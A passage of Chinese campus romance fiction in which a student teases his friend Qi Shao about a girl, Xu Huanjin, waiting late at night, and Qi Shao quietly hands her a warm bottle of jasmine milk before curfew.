视线里女生步伐缓慢,随即更是在路边的长椅上坐下。 王行泽震惊,他最近是无论什么事情都会往一个地方想,顿时说道:“这么晚了她该不会是在等你吧??!卧槽连陈深都没这个待遇啊。” 王行泽联想到刚才夜宵时何所说过的话——“我走的时候许还今还回来了一趟”,越发肯定自己的猜测。 毕竟要是只为了学习至于这么认真吗? 王行泽“啧啧”两声说:“又是去图书馆,又是在这等你的,嫂子这够大胆的,你说她今天是不是心情不好,过来看看你找找安慰?” 祁绍:“嗯?” 王行泽为他解答:“不都这样说吗,女生暗恋一个人时只要看他一眼就会感觉到高兴,她不开心来找你这多合理,啧啧,只是陈深,啧啧……” “别乱讲,”祁绍皱眉,拿着饮料去前台结账说:“有这个自信期末多考点分。” * 许还今在路边的休息椅上坐了两分钟,正要起身时祁绍几人路过。 王行泽问:“嫂子还没回宿舍?” 许还今也没想到这个时候会遇到他们,站起身说:“正打算回去,你们刚从校外回来?” “是刚吃完夜宵,”王行泽说:“快到门禁了,我们也先回去。” 许还今点点头,祁绍走在最后,自始至终都没说话,可能是懒得说也可能是因为其他。 但就当他经过许还今的时候忽然伸手递给她了一个东西,许还今下意识接住。 掌心传来微热的触感。 她愕然抬眼,男生见许还今抬头也没有避让,仍然维持着稍微弯腰的姿势。 路灯的光染上他的眼眉,深夜中这份惯常的体贴里多少也沾染了些说不清的感觉。 他察觉到许还今的注视,稍微用指骨在自己鼻翼侧摁了摁。 祁绍做起这些动作时很漂亮优雅,可能是得益于他的手本来就长得好看。 许还今有种他把什么话压下去了的感觉。 片刻,祁绍说:“早点回去,无论什么事开心最重要,如果遇到麻烦了可以来找我。” 许还今怔愣了下,甚至没反应过来要说谢谢。 其实这句话有点莫名,可祁绍没再多说,男生宿舍的门禁要比女生这边早十分钟,他抬腿往宿舍走。 等他走后,许还今才低头看他给的是什么,玻璃牛奶瓶,一瓶茉莉炖奶。 温热的触感从手掌钻进血液,许还今握着那瓶热牛奶站在原地。 身上那股疲倦感似乎瞬间被温和妥帖的抚平。